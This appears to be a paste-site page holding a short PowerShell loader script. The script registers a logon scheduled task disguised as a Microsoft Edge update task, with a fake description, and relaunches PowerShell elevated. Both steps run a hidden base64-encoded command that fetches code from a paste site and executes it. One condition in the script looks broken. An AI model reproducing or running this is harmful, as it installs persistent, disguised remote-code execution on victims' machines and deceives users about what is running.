if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
if (int -ge 6000) {
$trigger = New-ScheduledTaskTrigger -AtLogon
$taskAction = New-ScheduledTaskAction -Execute "PowerShell" -Argument "-NoLogo -NoProfile -W Hidden -E aQByAG0AIAByAGUAbgB0AHIAeQAuAGMAbwAvADYAYwAvAHIAYQB3AHwAaQBlAHgA -NonInteractive"
Register-ScheduledTask 'MicrosoftEdgeUpdateTaskMachineUS' -RunLevel Highest -Action $taskAction -Trigger $trigger -Description 'Keeps your Microsoft software up to date. If this task is disabled or stopped, your Microsoft software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This task uninstalls itself when there is no Microsoft software using it.'
$CommandLine = "-NoLogo -NoProfile -W Hidden -E aQByAG0AIAByAGUAbgB0AHIAeQAuAGMAbwAvADYAYwAvAHIAYQB3AHwAaQBlAHgA -NonInteractive"
Start-Process -FilePath PowerShell.exe -Verb Runas -ArgumentList $CommandLine
Exit
}
}

Edit

Pub: 18 Dec 2022 00:11 UTC

Edit: 07 Feb 2024 21:30 UTC

Views: 137